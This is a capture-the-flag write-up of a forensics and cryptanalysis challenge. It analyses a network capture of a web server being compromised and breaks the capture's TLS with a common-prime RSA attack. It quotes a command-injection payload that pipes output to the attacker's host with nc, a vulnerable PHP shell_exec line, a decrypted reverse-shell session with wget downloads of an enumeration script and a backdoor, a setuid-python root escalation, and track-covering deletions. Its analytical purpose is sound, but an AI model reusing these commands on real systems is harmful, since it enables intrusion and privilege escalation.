Revmomon - Santhacklaus CTF 2019

This was a 500 points forensics and cryptanalysis challenge at Santhacklaus 2019 CTF. It’s description was as follows :

Suspicious activity has been detected. Probably nothing to be scared about but take a look anyway.
If you find anything, a backdoor, a malware or anything of this kind, flag is the sha256 of it.
MD5 of the file : c93adc996da5dda82312e43e9a91d053

Downloading and unziping the given file, we end up with a file called challenge.pcapng, surely a network capture.

As the description says, our goal is to find a malware, probably an elf or some type of executable, and the flag with be its sha256sum.

Getting an overview of the capture

Loading the pcap in our beloved Wireshark, we can see that there are 185701 sniffed packets. The first ~172000 looks like this : Wireshark SYN scan

This is clearly a TCP SYN scan. We can deduce that 171.17.0.1 is the attacker here, and 171.17.0.5 the victim.

Scrolling down, 16s after the start of the capture, we come accross a lot of HTTP traffic, from 171.17.0.5 , our victim, to various public HTTP servers.

~51s after the start, begins another heap of HTTP exchanges, but this time between our two LAN hosts, our attacker and ou victim. Wireshark web scan

By looking at the HTTP verbs and the requests path, we can conclude that the attacker is bruteforcing the victim to find hidden web files.

After a while, the scan ends, and we see several POST requests on /index.php of the victim’s webserver.

The first one look like this :

Wireshark index ping

We can see that index.php is in fact a simple ping service; you give it an IP address through the cli_ip POST parameter and it will ping it for you, telling you if the host is up or not.

We can actually see the victim making ICMP requests to the given ip address right after the POST request:

Wireshark ICMP requests and replies

The next POST request is also on index.php, and got the following parameter: Wireshark command injection

Attacker is trying to inject a command into the simple ping service. It is a common vulnerability, if index.php is calling directly the ping command trough bash with the raw cli_ip parameter, then it would be possible to inject bash commands, with a payload like the attacker’s one. Such a flaw would exist in the following PHP code, for example :

$output = shell_exec("ping " . $_POST['cli_ip']);

Thus the semicolon would stop the ping command, and then id | nc 172.17.0.1 12345 would be executed. Right after this request, we can spot the following TCP exchange from the victim to the host:

Wireshark command injection result

The simple ping service is vulnerable!

Next POST request is exploiting this command injection by downloading a script from the attacker’s machine and executing it : Wireshark payload execution

As this is done through HTTPS, we can’t see what’s happening after this because everything is encrypted. In fact, all the remaining exchanges after this command are TLS traffic.

Breaking TLS

As this is a forensics and cryptanalysis challenge, we probably have to decrypt all this TLS traffic. Let’s first check the ciphersuite used in this exchange. This information is accessible in the Server Hello message.

Wireshark Server Hello

As the ciphersuite indicates, the asymmetric part of the TLS exchange is done with RSA. In the same packet, we can also find the certificate of the server. Wireshark Server Certificate

Wireshark allows us to dump it to the disk, by right-clicking on it and Export Packets Bytes. It gives us the server certificate in DER format. We can use the following openssl commands to convert it to PEM, and to extract its corresponding RSA public key:

antoxyde@w0nderland:revmomon $ openssl x509 -inform der -outform pem -in server_certificate.der -out server_certificate.pem
antoxyde@w0nderland:revmomon $ cat server_certificate.pem 
-----BEGIN CERTIFICATE-----
MIIDmTCCAoGgAwIBAgIUY9GTEMNo4F1jMpq6xFH0kU802hEwDQYJKoZIhvcNAQEL
BQAwXDELMAkGA1UEBhMCRlIxDzANBgNVBAgMBkZyYW5jZTEOMAwGA1UEBwwFUGFy
aXMxFzAVBgNVBAoMDlByaW1lIE1pbmlzdGVyMRMwEQYDVQQLDApCcmV4aXQgRlRX
MB4XDTE5MTAyOTIwMTgwMVoXDTI4MDExNTIwMTgwMVowXDELMAkGA1UEBhMCRlIx
DzANBgNVBAgMBkZyYW5jZTEOMAwGA1UEBwwFUGFyaXMxFzAVBgNVBAoMDlByaW1l
IE1pbmlzdGVyMRMwEQYDVQQLDApCcmV4aXQgRlRXMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEA6qH1D3mce4pI40aDTFHHnU8I84OU7NCR3KD4pTCsktys
6cthOdZ4YnR6a3SBIEAmpq8p/3KI9fmQO43JJj+N4vWEgsA8S5F3CQZtbKr2ILrC
X8BXapicvYFHXWl567xWGepkqjdFBAqC8NdpE95ZhZDpwzRgj0DIJRBaKJ9ROdKe
o8bYatXRCdm/+Q9Cw8rdknZQtnJh8Jc061UWdEaRR5FINQZtNmDkwzehDYD+elZ9
zmNXoRrB+wYQNuoHTVunBihCFz/WUcoqcItPSoheWGiy+Ok4B0QcBCELhVs5RpSj
p6C/0yl+0mx3P+1743JsKUmnu1fAYKi3oHAG4sgYFQIDAQABo1MwUTAdBgNVHQ4E
FgQUdi3P3w9KyJnF72f8DbB6rY3VnBcwHwYDVR0jBBgwFoAUdi3P3w9KyJnF72f8
DbB6rY3VnBcwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAAbmu
5yPDsZWmO93Na8URsjgymEZ7Ix80E7SF2RvhvBqRI7wiJxG5bG/39FzmQohyS47t
G90A54mJQNYQ3oK8SY2y/BGzB39ckJwFrmUetCeVI+8eRXpnMgU53nHuxqW5eTKA
GyfPuFVEJUzKgnJkT8bkc215iV4001HXqlNxhiMK3suuHAPOqxPfOZFCCzNJVR98
U1ue8PYsB7cT0HLUIgC+83fuLKumFhTk/Z/dbCxhNXn/COmdKl/VcHykre1zKhLi
Eem104IpXwLq1t8s7He0seAs9+Z+9YT7t8aDNP0wW9RtY7tQziZdXPg+IbfCQ+Yp
tlnXbAuRM1f7NZw1KQ==
-----END CERTIFICATE-----
antoxyde@w0nderland:revmomon $ openssl x509 -pubkey -in server_certificate.pem -noout -out server_public_key.pem
antoxyde@w0nderland:revmomon $ cat server_public_key.pem 
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6qH1D3mce4pI40aDTFHH
nU8I84OU7NCR3KD4pTCsktys6cthOdZ4YnR6a3SBIEAmpq8p/3KI9fmQO43JJj+N
4vWEgsA8S5F3CQZtbKr2ILrCX8BXapicvYFHXWl567xWGepkqjdFBAqC8NdpE95Z
hZDpwzRgj0DIJRBaKJ9ROdKeo8bYatXRCdm/+Q9Cw8rdknZQtnJh8Jc061UWdEaR
R5FINQZtNmDkwzehDYD+elZ9zmNXoRrB+wYQNuoHTVunBihCFz/WUcoqcItPSohe
WGiy+Ok4B0QcBCELhVs5RpSjp6C/0yl+0mx3P+1743JsKUmnu1fAYKi3oHAG4sgY
FQIDAQAB
-----END PUBLIC KEY-----

Then my first reflex is always to fire RsaCtfTool on the public key, to check if it suffers from common weaknesses. It appears it doesnt. Coming back to Wireshark, we can notice that other TLS handshakes were performed after the first one.

Looking at the certificate of the third one : it is not the same as the one we dumped out, eventhough the server is still the attacker, and the client is still the victim. Weird, does’nt it ?

Looking more closely, it’s because the connection is made on the port 8443 instead of 443 for the first one. We can also dump this certificate to disk, and extract its public key.

Then , using RsaCtfTool, we can extract the low-level RSA components of those public keys. We get for the first one \(e_1 = 65537, n_1 = 29619627467178969406854079403463599915871658288476677270831102061793497934159662285514510327385700628378589305421437171709795346003094548759628250322764002847148435692477244479388763329813686684201660423274495404811778410506932910300216875896775312348918429580174725852674828634098639553636546413084035530031283855213320078578741271070732953030117908357848717141509425260478003664503348447111743061219093114960558269923676606146414164748797713467491614709083233759517937681221656041489826498974094813539583189934143472418883692302711288587072716807105868149209556970774501083495918309228876519388189482569883619694613\). The second one is \(e_2 = 65537, n_2 = 30588464855055370059397808311584587800331478796837484201499522366071377859360910819579349170786760505546761273257680417594923583479957908661697555140368862662613536591346698985905175343119461281306864239119280639106589310801053583144048931656425940217457170988561914099102270870509491862752401296222115766858612659267640341229452933477551468397714444142587906203000835769622618731613797887097456579263262040530311297050197485572507425877926039763557707646155709261620616335196646065292172815191664334235605058750259343798359510428053696625102332956941127444708167469018975315598974910298399214310051525315764438607689\).

There are not a lot of RSA attacks involving 2 public keys. The first that come to mind is the common prime one.

As \(n_1 = p_1 \times q_1\) and \(n_2 = p_2 \times q_2\), if \(n_1\) and \(n_2\) shares a common prime, ie \(p_1 = p_2\), the security is ruined because now we can compute \(p_1 = p_2 = GCD(n_1, n_2)\) and \(q_1 = \frac{n_1}{p_1}\), \(q_2 = \frac{n_2}{p_2}\).

To check if this attack is applicable here, we can simply compute \(GCD(n_1, n_2)\). If it returns \(1\), \(n_1\) and \(n_2\) don’t shares common prime, else it’s GG WP.

>>> from gmpy import gcd
>>> n1 = 30588464855055370059397808311584587800331478796837484201499522366071377859360910819579349170786760505546761273257680417594923583479957908661697555140368862662613536591346698985905175343119461281306864239119280639106589310801053583144048931656425940217457170988561914099102270870509491862752401296222115766858612659267640341229452933477551468397714444142587906203000835769622618731613797887097456579263262040530311297050197485572507425877926039763557707646155709261620616335196646065292172815191664334235605058750259343798359510428053696625102332956941127444708167469018975315598974910298399214310051525315764438607689
>>> n2 = 29619627467178969406854079403463599915871658288476677270831102061793497934159662285514510327385700628378589305421437171709795346003094548759628250322764002847148435692477244479388763329813686684201660423274495404811778410506932910300216875896775312348918429580174725852674828634098639553636546413084035530031283855213320078578741271070732953030117908357848717141509425260478003664503348447111743061219093114960558269923676606146414164748797713467491614709083233759517937681221656041489826498974094813539583189934143472418883692302711288587072716807105868149209556970774501083495918309228876519388189482569883619694613
>>> gcd(n1, n2)
mpz(172067233411000174123288570320072141984329277731567787049992455089748125896067043634268223276124200546620464642208269498585977273172872453697611433904621370678490295872941062747046839302970872936949583606000707115626511913565629330486713525750799307850325576945065814233311827585627901219469077071493371983507)

Well, it’s over. We can reconstruct the two private keys by feeding our p and qs to RsaCtfTool.

To decrypt the TLS traffic, we now need to load those private keys into Wireshark, by going to Edit, Preferences, Procotols, then TLS, and finally Rsa key List Edit. On this interface, we have to give wireshark a few informations : Wireshark decryption infos

Understanding the attacker’s path

Now by coming back to our TLS traffic, we can see what’s going on. Here is the content of the payload executed by the victim:

Wireshark payload content

It executes a TLS-encrypted reverse shell on the port 8443 of the attacker.

Now let’s see what the attacker have been doing with this shell. Even if we assumed it was HTTP traffic in the options, we can right click and follow the TLS stream.

The first part of the stream is the following :

python -c 'import pty;pty.spawn("/bin/bash")'
www-data@d58feef475e4:/var/www/html$ 

www-data@d58feef475e4:/var/www/html$ 

www-data@d58feef475e4:/var/www/html$ cd /tmp
cd /tmp
www-data@d58feef475e4:/tmp$ ls
ls
s
www-data@d58feef475e4:/tmp$ wget --no-check-certificate https://172.17.0.3/LinEnum.sh

<-no-check-certificate https://172.17.0.3/LinEnum.sh
--2019-11-20 21:57:54--  https://172.17.0.3/LinEnum.sh
Connecting to 172.17.0.3:443... failed: Connection refused.
www-data@d58feef475e4:/tmp$ wget --no-check-certificate https://172.17.0.1/LinEnum.sh

<-no-check-certificate https://172.17.0.1/LinEnum.sh
--2019-11-20 21:58:02--  https://172.17.0.1/LinEnum.sh
Connecting to 172.17.0.1:443... connected.
WARNING: The certificate of '172.17.0.1' is not trusted.
WARNING: The certificate of '172.17.0.1' doesn't have a known issuer.
The certificate's owner does not match hostname '172.17.0.1'
HTTP request sent, awaiting response... 200 OK
Length: 46120 (45K) [text/x-sh]
Saving to: 'LinEnum.sh'


LinEnum.sh            0%[                    ]       0  --.-KB/s               
LinEnum.sh          100%[===================>]  45.04K  --.-KB/s    in 0s      

2019-11-20 21:58:02 (105 MB/s) - 'LinEnum.sh' saved [46120/46120]

www-data@d58feef475e4:/tmp$ chmod +x LinEnum.sh
chmod +x LinEnum.sh
www-data@d58feef475e4:/tmp$ ./LinEnum.sh -t -e /tmp -r report

then we get the report of LinEnum.sh , which gives a tons of informations about the victim’s system.

The second part :

www-data@d58feef475e4:/tmp$ /usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")'

# id
id
uid=0(root) gid=33(www-data) groups=33(www-data)
# cd /root
cd /root
# ls
ls
flag
# ls -la
ls -la
total 20
drwx------ 1 root root 4096 Nov 20 21:37 .
drwxr-xr-x 1 root root 4096 Nov 20 21:51 ..
-rw-r--r-- 1 root root  570 Jan 31  2010 .bashrc
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
-r-------- 1 root root   28 Nov 20 21:36 flag
# wc -c flag
wc -c flag
28 flag
# stat flag
stat flag
  File: flag
  Size: 28          Blocks: 8          IO Block: 4096   regular file
Device: 78h/120d    Inode: 6206622     Links: 1
Access: (0400/-r--------)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2019-11-20 21:36:58.000000000 +0000
Modify: 2019-11-20 21:36:58.000000000 +0000
Change: 2019-11-20 21:38:07.737200347 +0000
 Birth: -
# echo -n 'Il y a le flag dans le /root'
echo -n 'Il y a le flag dans le /root'
Il y a le flag dans le /root# 

# 

# cd /usr/local/bin
cd /usr/local/bin
# pwd
pwd
/usr/local/bin
# s
s
ls
ls
apache2-foreground    docker-php-ext-install  peardev    php
docker-php-entrypoint     docker-php-source   pecl       php-config
docker-php-ext-configure  freetype-config     phar       phpdbg
docker-php-ext-enable     pear            phar.phar  phpize
# wget --no-check-certificate https://172.17.0.1/DRUNK_IKEBANA -O phar.bak
wget --no-check-certificate https://172.17.0.1/DRUNK_IKEBANA -O phar.bak
--2019-11-20 22:03:12--  https://172.17.0.1/DRUNK_IKEBANA
Connecting to 172.17.0.1:443... connected.
WARNING: The certificate of '172.17.0.1' is not trusted.
WARNING: The certificate of '172.17.0.1' doesn't have a known issuer.
The certificate's owner does not match hostname '172.17.0.1'
HTTP request sent, awaiting response... 200 OK
Length: 7634240 (7.3M) [application/octet-stream]
Saving to: 'phar.bak'


phar.bak              0%[                    ]       0  --.-KB/s               
phar.bak            100%[===================>]   7.28M  --.-KB/s    in 0.05s   

2019-11-20 22:03:12 (146 MB/s) - 'phar.bak' saved [7634240/7634240]

# ls
ls
apache2-foreground    docker-php-ext-install  peardev   phar.phar   phpize
docker-php-entrypoint     docker-php-source   pecl      php
docker-php-ext-configure  freetype-config     phar      php-config
docker-php-ext-enable     pear            phar.bak  phpdbg
# ls -la
ls -la
total 35168
drwxr-xr-x 1 root root         4096 Nov 20 22:03 .
drwxr-xr-x 1 root root         4096 Oct 25 02:29 ..
-rwxrwxr-x 1 root root         1346 Oct 25 02:26 apache2-foreground
-rwxrwxr-x 1 root root          133 Oct 25 02:26 docker-php-entrypoint
-rwxrwxr-x 1 root root         1418 Oct 25 02:26 docker-php-ext-configure
-rwxrwxr-x 1 root root         2571 Oct 25 02:26 docker-php-ext-enable
-rwxrwxr-x 1 root root         2392 Oct 25 02:26 docker-php-ext-install
-rwxrwxr-x 1 root root          587 Oct 25 02:26 docker-php-source
-rwxr-xr-x 1 root root           41 Oct 25 02:29 freetype-config
-rwxr-xr-x 1 root root          817 Oct 25 02:29 pear
-rwxr-xr-x 1 root root          838 Oct 25 02:29 peardev
-rwxr-xr-x 1 root root          751 Oct 25 02:29 pecl
lrwxrwxrwx 1 root root            9 Oct 25 02:29 phar -> phar.phar
-rw-r--r-- 1 root www-data  7634240 Nov 20 22:02 phar.bak
-rwxr-xr-x 1 root root        14817 Oct 25 02:29 phar.phar
-rwxr-xr-x 1 root root     14077688 Oct 25 02:29 php
-rwxr-xr-x 1 root root         2793 Oct 25 02:29 php-config
-rwxr-xr-x 1 root root     14213184 Oct 25 02:29 phpdbg
-rwxr-xr-x 1 root root         4559 Oct 25 02:29 phpize
# chmod +x phar.bak
chmod +x phar.bak
# ls -la
ls -la
total 35168
drwxr-xr-x 1 root root         4096 Nov 20 22:03 .
drwxr-xr-x 1 root root         4096 Oct 25 02:29 ..
-rwxrwxr-x 1 root root         1346 Oct 25 02:26 apache2-foreground
-rwxrwxr-x 1 root root          133 Oct 25 02:26 docker-php-entrypoint
-rwxrwxr-x 1 root root         1418 Oct 25 02:26 docker-php-ext-configure
-rwxrwxr-x 1 root root         2571 Oct 25 02:26 docker-php-ext-enable
-rwxrwxr-x 1 root root         2392 Oct 25 02:26 docker-php-ext-install
-rwxrwxr-x 1 root root          587 Oct 25 02:26 docker-php-source
-rwxr-xr-x 1 root root           41 Oct 25 02:29 freetype-config
-rwxr-xr-x 1 root root          817 Oct 25 02:29 pear
-rwxr-xr-x 1 root root          838 Oct 25 02:29 peardev
-rwxr-xr-x 1 root root          751 Oct 25 02:29 pecl
lrwxrwxrwx 1 root root            9 Oct 25 02:29 phar -> phar.phar
-rwxr-xr-x 1 root www-data  7634240 Nov 20 22:02 phar.bak
-rwxr-xr-x 1 root root        14817 Oct 25 02:29 phar.phar
-rwxr-xr-x 1 root root     14077688 Oct 25 02:29 php
-rwxr-xr-x 1 root root         2793 Oct 25 02:29 php-config
-rwxr-xr-x 1 root root     14213184 Oct 25 02:29 phpdbg
-rwxr-xr-x 1 root root         4559 Oct 25 02:29 phpize
# ./phar.bak &
./phar.bak &
# cd /tmp
cd /tmp
# ls
ls
LinEnum-export-20-11-19  LinEnum.sh  report-20-11-19  s
# rm Lin*
rm Lin*
rm: cannot remove 'LinEnum-export-20-11-19': Is a directory
# ls
ls
LinEnum-export-20-11-19  report-20-11-19  s
# rm -rf Lin*
rm -rf Lin*
# ls
ls
report-20-11-19  s
# rm repo*
rm repo*
# cd /dev/shm
cd /dev/shm
# ls
ls
cert.pem
# cd /root
cd /root
# ls -la
ls -la
total 20
drwx------ 1 root root 4096 Nov 20 21:37 .
drwxr-xr-x 1 root root 4096 Nov 20 21:51 ..
-rw-r--r-- 1 root root  570 Jan 31  2010 .bashrc
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
-r-------- 1 root root   28 Nov 20 21:36 flag
# exit
exit
www-data@d58feef475e4:/tmp$ exit

So the attacker got root because somehow the python2.7 interpreter was setuid. Then we can see he downloaded a file called DRUNK_IKEBANA from his machine, put it in some apache2 directory, and executed it. This really looks like our malicious backdoor, because right after he try to cover a bit of his tracks and exit.

We can actually extract the downloaded file from the stream from Wireshark using the file menu, then Export Objects. Now we need to find an object called DRUNK_IKEBANA, and dump it to disk.

Let’s get it’s sha256sum :

antoxyde@w0nderland:revmomon $ sha256sum DRUNK_IKEBANA 
daeb4a85965e61870a90d40737c4f97d42ec89c1ece1c9b77e44e6749a88d830  DRUNK_IKEBANA

So the flag should be SANTA{daeb4a85965e61870a90d40737c4f97d42ec89c1ece1c9b77e44e6749a88d830}, and it is!

Thanks to Maki for setting up this cool challenge :D